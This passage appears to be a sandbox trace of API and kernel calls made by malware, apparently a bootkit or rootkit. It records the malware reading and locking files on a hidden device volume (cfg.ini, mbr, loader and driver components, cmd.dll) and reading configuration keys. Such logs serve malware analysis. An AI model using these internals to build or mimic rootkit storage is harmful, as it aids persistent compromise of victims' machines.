KeLeaveCriticalRegion () [0121.977] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.977] KeEnterCriticalRegion () [0121.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.977] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.977] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.977] KeLeaveCriticalRegion () [0121.977] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.977] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.977] KeEnterCriticalRegion () [0121.977] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.977] ExFreePoolWithTag (P=0xfffffa8003bc9e10, Tag=0x0) [0121.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.977] KeLeaveCriticalRegion () [0121.977] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.977] ReleaseMutex (hMutex=0xf0) returned 1 [0121.977] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.977] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.977] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.977] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.978] KeEnterCriticalRegion () [0121.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.978] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.978] IdePortDispatch () returned 0x103 [0121.978] KeWaitForMutexObject () returned 0x0 [0121.978] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.978] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.978] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.978] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.978] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.978] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.978] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.978] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.978] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.978] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.978] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.978] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.978] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.978] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.978] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.978] KeLeaveCriticalRegion () [0121.978] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.978] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.978] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.978] KeEnterCriticalRegion () [0121.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.978] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.978] IdePortDispatch () returned 0x103 [0121.978] KeWaitForMutexObject () returned 0x0 [0121.979] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.979] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.979] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.979] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.979] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.979] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.979] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.979] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.979] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.979] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.979] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.979] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.979] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.979] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.979] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.979] KeLeaveCriticalRegion () [0121.979] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.979] ReleaseMutex (hMutex=0x100) returned 1 [0121.979] Sleep (dwMilliseconds=0x2bf20) [0121.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6be636f0, dwHighDateTime=0x1d24fa4)) [0121.984] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.984] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.986] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.986] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.986] KeEnterCriticalRegion () [0121.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.986] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.986] IdePortDispatch () returned 0x103 [0121.986] KeWaitForMutexObject () returned 0x0 [0121.986] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.986] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.986] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.986] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.986] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.986] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be22f0 [0121.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.986] KeLeaveCriticalRegion () [0121.986] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.987] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.987] KeEnterCriticalRegion () [0121.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.987] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.987] KeLeaveCriticalRegion () [0121.987] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.987] KeEnterCriticalRegion () [0121.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.987] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.987] IdePortDispatch () returned 0x103 [0121.987] KeWaitForMutexObject () returned 0x0 [0121.987] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.987] KeLeaveCriticalRegion () [0121.987] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.987] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.987] KeEnterCriticalRegion () [0121.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.987] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c07000 [0121.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.987] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.987] IdePortDispatch () returned 0x103 [0121.987] KeWaitForMutexObject () returned 0x0 [0121.988] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.988] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.988] IdePortDispatch () returned 0x103 [0121.988] KeWaitForMutexObject () returned 0x0 [0121.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.988] KeLeaveCriticalRegion () [0121.988] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.988] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.988] KeEnterCriticalRegion () [0121.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.988] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.988] KeLeaveCriticalRegion () [0121.988] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.988] KeEnterCriticalRegion () [0121.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.988] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.989] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.989] KeLeaveCriticalRegion () [0121.989] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.989] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.989] KeEnterCriticalRegion () [0121.989] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.989] ExFreePoolWithTag (P=0xfffffa8003be22f0, Tag=0x0) [0121.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.989] KeLeaveCriticalRegion () [0121.989] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.989] ReleaseMutex (hMutex=0xf0) returned 1 [0121.989] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.992] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.992] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.992] KeEnterCriticalRegion () [0121.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.992] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.992] IdePortDispatch () returned 0x103 [0121.992] KeWaitForMutexObject () returned 0x0 [0121.992] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.992] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.992] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.992] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.992] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.992] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be2bb0 [0121.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.992] KeLeaveCriticalRegion () [0121.992] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.992] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.992] KeEnterCriticalRegion () [0121.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.992] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.992] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.992] KeLeaveCriticalRegion () [0121.992] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.992] KeEnterCriticalRegion () [0121.992] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.992] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.992] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.992] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.993] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.993] IdePortDispatch () returned 0x103 [0121.993] KeWaitForMutexObject () returned 0x0 [0121.993] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.993] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.993] KeLeaveCriticalRegion () [0121.993] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.993] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.993] KeEnterCriticalRegion () [0121.993] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.993] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c09000 [0121.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.993] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.993] IdePortDispatch () returned 0x103 [0121.993] KeWaitForMutexObject () returned 0x0 [0121.993] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.993] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.993] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.993] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.994] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.994] IdePortDispatch () returned 0x103 [0121.994] KeWaitForMutexObject () returned 0x0 [0121.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.994] KeLeaveCriticalRegion () [0121.994] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.994] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.994] KeEnterCriticalRegion () [0121.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.994] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.994] KeLeaveCriticalRegion () [0121.994] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.994] KeEnterCriticalRegion () [0121.994] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.994] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.994] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2c70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.994] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.994] KeLeaveCriticalRegion () [0121.994] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.994] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.995] KeEnterCriticalRegion () [0121.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.995] ExFreePoolWithTag (P=0xfffffa8003be2bb0, Tag=0x0) [0121.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.995] KeLeaveCriticalRegion () [0121.995] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.995] ReleaseMutex (hMutex=0xf0) returned 1 [0121.995] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.995] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.995] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.995] KeEnterCriticalRegion () [0121.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.995] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.995] IdePortDispatch () returned 0x103 [0121.995] KeWaitForMutexObject () returned 0x0 [0121.995] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.995] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.995] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.995] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.995] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.995] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3010 [0121.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.995] KeLeaveCriticalRegion () [0121.995] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.995] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.995] KeEnterCriticalRegion () [0121.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.995] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.995] KeLeaveCriticalRegion () [0121.995] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.995] KeEnterCriticalRegion () [0121.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, 